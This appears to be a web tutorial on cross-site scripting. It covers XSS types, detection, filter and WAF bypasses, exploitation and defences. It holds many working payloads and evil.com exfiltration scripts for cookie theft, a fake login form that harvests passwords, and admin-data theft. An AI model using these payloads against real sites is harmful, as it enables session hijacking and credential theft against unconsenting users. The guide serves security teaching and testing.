๐ก๏ธ Complete XSS Security Guide
Master Cross-Site Scripting vulnerabilities, bypass techniques, and defense strategies
Purpose
This documentation provides comprehensive coverage of XSS vulnerabilities, from basic concepts to advanced exploitation techniques.
Research-Focused
Based on latest security research, bug bounty findings, and real-world penetration testing scenarios.
Ethical Use
All techniques documented here are for educational purposes and authorized security testing only.
Practical Focus
Hands-on examples, real-world scenarios, and actionable defensive strategies for security professionals.
โ ๏ธ Important Notice
Educational Purpose: This documentation is for authorized security testing and educational use only. Always obtain proper written authorization before testing any systems.
๐ XSS Fundamentals
What is Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When the victim loads the page, the malicious script executes in their browser, potentially allowing the attacker to:
Steal Session Cookies
Access authentication tokens and hijack user sessions
Perform Actions as User
Execute any action the user can perform on the website
Access Sensitive Data
Read private information displayed on the page
Phishing Attacks
Display fake forms to capture credentials
Malicious Redirects
Redirect users to malicious websites or download malware
Network Reconnaissance
Scan internal networks and gather system information
Interactive XSS Demo
โ ๏ธ This is a safe simulation - no actual XSS execution occurs
Types of XSS Vulnerabilities
๐ Reflected XSS
High RiskThe malicious script is reflected off the web server as part of the response. The payload is typically delivered via URL parameters or form submissions.
<!-- Vulnerable PHP code -->
<h1>Welcome <?php echo $_GET['name']; ?>!</h1>
<!-- Malicious URL -->
https://example.com/welcome.php?name=<script>alert('XSS')</script>
Attacker crafts malicious URL
Creates a URL with XSS payload in parameters
Victim clicks malicious link
Social engineering or phishing email
Server reflects payload
Payload included in server response
Script executes in browser
Malicious code runs in victim's browser
๐พ Stored XSS
Critical RiskThe malicious script is permanently stored on the target server (database, file system, etc.) and served to users when they access the affected page.
<!-- Vulnerable comment display -->
<div class="comment">
<h4><?php echo $comment['author']; ?></h4>
<p><?php echo $comment['message']; ?></p>
</div>
<!-- Malicious comment payload -->
Author: <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
Payload Injection
Attacker submits malicious script via form
Storage
Malicious script stored in database
Victim Access
Any user visiting the page triggers XSS
Persistent Impact
Affects multiple users over time
๐ DOM-Based XSS
High RiskThe vulnerability exists in client-side JavaScript code. The payload modifies the DOM environment without requiring server interaction.
// Vulnerable DOM manipulation
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello ' + name;
// Malicious URL
https://example.com/page.html#<script>alert('XSS')</script>
๐ Common Sources
location.hreflocation.searchlocation.hashdocument.referrerwindow.namepostMessage data
๐ฏ Common Sinks
innerHTMLouterHTMLdocument.write()eval()setTimeout()location.href
XSS Execution Contexts
Understanding where your payload will be executed is crucial for crafting effective XSS attacks. Different contexts require different approaches:
HTML Context
Payload is reflected directly into HTML content:
Vulnerable:
<div>Hello $userInput</div>
Payload:
<script>alert('XSS')</script>
Result:
<div>Hello <script>alert('XSS')</script></div>
Attribute Context
Payload is reflected inside HTML attributes:
Vulnerable:
<input type="text" value="$userInput">
Payload:
" onmouseover="alert('XSS')
Result:
<input type="text" value="" onmouseover="alert('XSS')">
JavaScript Context
Payload is reflected inside JavaScript code:
Vulnerable:
<script>var name = '$userInput';</script>
Payload:
';alert('XSS');//
Result:
<script>var name = '';alert('XSS');//';</script>
CSS Context
Payload is reflected inside CSS styles:
Vulnerable:
<style>body { background: $userColor; }</style>
Payload:
red; } </style><script>alert('XSS')</script>
Result:
<style>body { background: red; } </style><script>alert('XSS')</script>; }</style>
URL Context
Payload is reflected in URLs or href attributes:
Vulnerable:
<a href="$userURL">Click here</a>
Payload:
javascript:alert('XSS')
Result:
<a href="javascript:alert('XSS')">Click here</a>
๐ XSS Detection Techniques
Manual Testing Strategies
Manual testing remains one of the most effective ways to discover XSS vulnerabilities. Here are proven strategies:
๐ฏ Input Point Identification
- URL parameters (
?param=value) - Form fields (text inputs, textareas, hidden fields)
- HTTP headers (User-Agent, Referer, X-Forwarded-For)
- File uploads (filename, metadata)
- API endpoints and JSON data
- Cookie values
๐งช Basic Payload Testing
# 1. Start with simple HTML
<h1>test</h1>
# 2. Test script execution
<script>alert(1)</script>
# 3. Event handlers
<img src=x onerror=alert(1)>
# 4. Context breaking
"><script>alert(1)</script>
'><script>alert(1)</script>
# 5. Advanced payloads
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
Automated Scanning Tools
Automated scanners can help identify XSS vulnerabilities at scale, but manual testing is still essential for comprehensive coverage:
๐ท๏ธ Web Application Scanners
- Burp Suite Professional - Industry standard web application security testing platform
- OWASP ZAP - Free and open-source security testing proxy
- Acunetix - Commercial vulnerability scanner with advanced crawling
- Netsparker - Automated security scanner with proof-of-concept verification
โก Specialized XSS Tools
- XSSStrike - Advanced XSS detection suite with fuzzing capabilities
- XSSHunter - Blind XSS detection platform for stored vulnerabilities
- XSSer - Automatic XSS detection and exploitation framework
- Dalfox - Fast and powerful XSS scanner and parameter analysis tool
๐ก Best Practices for Automated Scanning
๐ฏ Configure Scope Properly
Define clear testing boundaries and exclude production systems from aggressive scans.
๐ Combine Multiple Tools
Different scanners have different strengths - use multiple tools for comprehensive coverage.
๐ฅ Manual Validation
Always manually verify automated findings to reduce false positives and understand impact.
๐ Timing Considerations
Use appropriate delays between requests to avoid overwhelming target applications.
๐ Document Findings
Maintain detailed logs of scan results and methodologies for compliance and reporting.
๐ Regular Updates
Keep scanning tools and payloads updated to detect latest vulnerabilities and bypass techniques.
Fuzzing Strategies
Fuzzing is an automated testing technique that involves sending unexpected, random, or malformed data to find XSS vulnerabilities:
๐ฒ Random Payload Fuzzing
Generate random payloads with varying characteristics:
# XSS Fuzzing Script
import random
import string
class XSSFuzzer:
def __init__(self):
self.tags = ['script', 'img', 'svg', 'iframe', 'input', 'body']
self.events = ['onload', 'onerror', 'onclick', 'onmouseover']
self.payloads = ['alert(1)', 'confirm(1)', 'prompt(1)']
def generate_random_payload(self):
tag = random.choice(self.tags)
event = random.choice(self.events)
payload = random.choice(self.payloads)
return f'<{tag} {event}={payload}>'
def generate_encoded_payload(self, payload):
# URL encoding
return ''.join(f'%{ord(c):02x}' for c in payload)
def fuzz_endpoint(self, url, param):
payloads = []
for _ in range(100):
base_payload = self.generate_random_payload()
payloads.extend([
base_payload,
self.generate_encoded_payload(base_payload),
base_payload.upper(),
base_payload.replace('<', '<'),
])
return payloads
๐งฌ Mutation-Based Fuzzing
Start with known working payloads and mutate them:
Character Insertion
<scri\x00pt>alert(1)</script>
Case Randomization
<ScRiPt>aLeRt(1)</ScRiPt>
Whitespace Injection
<script\x20>alert(1)</script>
Comment Insertion
<script>/**/alert(1)</script>
๐ฏ Context-Aware Fuzzing
Tailor payloads to specific injection contexts:
HTML Attribute Context
" autofocus onfocus=alert(1) x="
' autofocus onfocus=alert(1) x='
JavaScript String Context
';alert(1);//
';alert(1);/*
URL Parameter Context
javascript:alert(1)
data:text/html,<script>alert(1)</script>
๐ก๏ธ Advanced Bypass Techniques
Filter Evasion Techniques
๐ญ Case Manipulation
Many filters check for exact case matches and can be bypassed with case variations:
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<script >alert(1)</script>
<script >alert(1)</script>
<script
>alert(1)</script>
๐ค Encoding Bypass
Various encoding techniques can bypass input validation:
URL Encoding
%3Cscript%3Ealert(1)%3C/script%3E
HTML Entity Encoding
<script>alert(1)</script>
Unicode Encoding
\u003cscript\u003ealert(1)\u003c/script\u003e
Hex Encoding
\x3cscript\x3ealert(1)\x3c/script\x3e
๐งฉ Alternative Event Handlers
When common event handlers are blocked, try these alternatives:
Mouse Events
onmouseoveronmouseoutonmousedownonmouseuponclickondblclick
Keyboard Events
onkeydownonkeyuponkeypress
Form Events
onfocusonbluronchangeonsubmit
Other Events
onloadonerroronresizeonscroll
WAF Bypass Techniques
Web Application Firewalls (WAFs) implement various rules to block XSS attacks. Here are proven bypass techniques:
โ๏ธ Cloudflare Bypasses
# Unicode bypass
<script>alert\u0028\u0031\u0029</script>
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# Encoding combination
<script>eval(atob('YWxlcnQoMSk='))</script>
# Template literals
<script>alert`1`</script>
๐ฉ๏ธ AWS WAF Bypasses
# Mixed case with spaces
< ScRiPt >alert(1)</ ScRiPt >
# Alternative tags
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
# Event handler variations
<img src=x oNlOaD=alert(1)>
<body oNlOaD=alert(1)>
๐ ModSecurity Bypasses
# Comment injection
<script>/**/alert(1)</script>
<script>alert/**/('1')</script>
# String concatenation
<script>alert('1'+'')</script>
<script>alert(String.fromCharCode(49))</script>
# Alternative execution
<script>Function('alert(1)')()</script>
Content Security Policy (CSP) Bypasses
CSP is a powerful defense mechanism, but certain configurations can be bypassed:
๐ฆ JSONP Endpoints Abuse
If CSP allows certain domains, look for JSONP endpoints that can be abused:
# Google APIs
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# AngularJS CDN
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<div ng-app ng-csp ng-click=$event.view.alert(1337)>Click me</div>
๐ Base Tag Injection
Manipulate relative URLs by injecting a base tag:
<base href="//evil.com/">
<script src="./legitimate-script.js"></script>
๐ Nonce/Hash Bypasses
When nonces or hashes are used, look for ways to predict or reuse them:
# Nonce reuse
<script nonce="abc123">alert(1)</script>
# Hash collision
<script>alert(1)//[...]</script>
Advanced Encoding Techniques
Various encoding methods can help bypass filters that don't properly decode input:
๐ข Numeric Character References
# Decimal encoding
<script>alert(1)</script>
# Hexadecimal encoding
<script>alert(1)</script>
# Mixed encoding
<script>alert(1)</script>
๐ Unicode Normalization
# Unicode normalization bypass
<script>alert\u0028\u0031\u0029</script>
# Unicode overlong encoding
<script>eval('\\u{61}\\u{6C}\\u{65}\\u{72}\\u{74}(1)')</script>
# Surrogate pairs
<script>alert\uD83D\uDE00</script>
๐ฆ Base64 and Alternative Encodings
# Base64 payload
<script>eval(atob('YWxlcnQoMSk='))</script>
# Binary encoding
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
# Octal encoding
<script>eval('\141\154\145\162\164\50\61\51')</script>
โก Alternative Execution Methods
# Template literals
<script>alert`1`</script>
<script>alert\x60${1}\x60</script>
# Function constructor
<script>Function('alert(1)')()</script>
<script>[].constructor.constructor('alert(1)')()</script>
# setTimeout with string
<script>setTimeout('alert(1)',0)</script>
<script>setInterval('alert(1)',1000)</script>
๐ XSS Exploitation Techniques
Understanding how XSS vulnerabilities can be exploited helps in both attack and defense scenarios.
Session Hijacking
One of the most common and dangerous XSS exploitation techniques involves stealing user session cookies:
๐ช Cookie Theft
// Simple cookie exfiltration
<script>
var img = new Image();
img.src = 'https://evil.com/steal.php?cookie=' + document.cookie;
</script>
// Advanced cookie theft with user info
<script>
fetch('https://evil.com/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
cookies: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent,
timestamp: new Date().toISOString()
})
});
</script>
๐ก๏ธ Prevention Measures
- Set
HttpOnlyflag on sensitive cookies - Use
SameSitecookie attribute - Implement proper session validation
- Use short session timeouts
Phishing Attacks via XSS
XSS can be used to create convincing phishing attacks that appear to originate from the trusted domain:
๐ฃ Fake Login Forms
// Inject fake login form
<script>
// Hide original content
document.body.innerHTML = '';
// Create fake login form
var form = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
<div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc">
<h2>Session Expired - Please Login</h2>
<form id="phishForm">
<input type="email" placeholder="Email" id="email" required><br><br>
<input type="password" placeholder="Password" id="password" required><br><br>
<button type="submit">Login</button>
</form>
</div>
</div>`;
document.body.innerHTML = form;
// Capture credentials
document.getElementById('phishForm').onsubmit = function(e) {
e.preventDefault();
var email = document.getElementById('email').value;
var password = document.getElementById('password').value;
// Send to attacker's server
fetch('https://evil.com/harvest', {
method: 'POST',
body: JSON.stringify({email, password, site: location.hostname})
}).then(() => {
window.location = '/login?expired=1';
});
};
</script>
Privilege Escalation
XSS can sometimes be leveraged to escalate privileges within an application:
๐ Admin Panel Access
// Attempt to access admin functionality
<script>
// Check if user has admin access
fetch('/admin/dashboard')
.then(response => {
if (response.ok) {
// User has admin access, perform privileged actions
fetch('/admin/users', {method: 'GET'})
.then(r => r.json())
.then(users => {
// Exfiltrate user data
fetch('https://evil.com/admin-data', {
method: 'POST',
body: JSON.stringify(users)
});
});
}
})
.catch(() => {
});
</script>
๐ XSS Prevention Strategies
Input Validation & Sanitization
โ Server-Side Validation
<?php
// Whitelist approach
function sanitizeInput($input) {
// Remove all HTML tags
$input = strip_tags($input);
// Convert special characters
$input = htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// Additional validation
if (!preg_match('/^[a-zA-Z0-9\s\-_.]+$/', $input)) {
throw new InvalidArgumentException('Invalid characters detected');
}
return $input;
}
// Usage
$userInput = sanitizeInput($_POST['username']);
echo "Hello " . $userInput;
?>
๐ก๏ธ Client-Side Validation
// Using DOMPurify for client-side sanitization
import DOMPurify from 'dompurify';
function sanitizeHTML(dirty) {
// Configure DOMPurify
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
});
return clean;
}
// Usage
const userInput = document.getElementById('userInput').value;
const sanitized = sanitizeHTML(userInput);
document.getElementById('output').innerHTML = sanitized;
Context-Aware Output Encoding
Different contexts require different encoding strategies:
๐ HTML Context
// HTML Entity Encoding
function htmlEncode(str) {
return str
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
๐ URL Context
// URL Encoding
function urlEncode(str) {
return encodeURIComponent(str);
}
// Usage in href attributes
const userUrl = urlEncode(userInput);
element.href = 'https://example.com/redirect?url=' + userUrl;
๐ JavaScript Context
// JavaScript String Escaping
function jsEscape(str) {
return str
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t');
}
๐จ CSS Context
// CSS Escaping
function cssEscape(str) {
return str.replace(/[^a-zA-Z0-9]/g, function(match) {
return '\\' + match.charCodeAt(0).toString(16) + ' ';
});
}
Content Security Policy Implementation
๐ฐ Basic CSP
# Basic protection
Content-Security-Policy: default-src 'self'; script-src 'self'
๐ต Intermediate CSP
# More restrictive
Content-Security-Policy:
default-src 'none';
script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
๐ด Strict CSP
# Maximum security
Content-Security-Policy:
default-src 'none';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self';
connect-src 'self';
form-action 'self';
base-uri 'self';
๐ ๏ธ Tools & Resources
๐ Testing Tools
Burp Suite Professional
Industry-standard web application security testing platform with advanced XSS detection capabilities.
Visit WebsiteOWASP ZAP
Free, open-source web application security scanner with automated XSS detection.
Visit WebsiteXSSStrike
Advanced XSS detection suite with intelligent payload generation and DOM analyzer.
GitHub Repository๐ก๏ธ Defense Libraries
๐ References & Credits
๐ Official Documentation
๐ฌ Research Papers
๐ Educational Resources
๐ฅ Community & Contributors
This documentation is based on research and contributions from the security community:
- OWASP Foundation - Web application security standards
- PortSwigger Research Team - Web security research and tools
- Google Security Team - CSP development and research
- Mozilla Security Team - Web platform security
- Security Researchers Worldwide - Bug bounty hunters and penetration testers
๐ Acknowledgments
Special thanks to the security research community for their continuous efforts in making the web safer. This documentation compiles knowledge from years of security research, responsible disclosure, and community collaboration.